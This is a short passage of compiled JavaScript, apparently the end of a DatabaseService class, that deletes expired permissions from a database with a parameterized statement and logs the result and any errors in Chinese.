const result = stmt.run(new Date().toISOString(), new Date().toISOString());
|
||
if (result.changes > 0) {
|
||
this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`);
|
||
}
|
||
return result.changes;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('清理过期权限失败:', error);
|
||
return 0;
|
||
}
|
||
}
|
||
}
|
||
exports.DatabaseService = DatabaseService;
|
||
//# sourceMappingURL=DatabaseService.js.map
|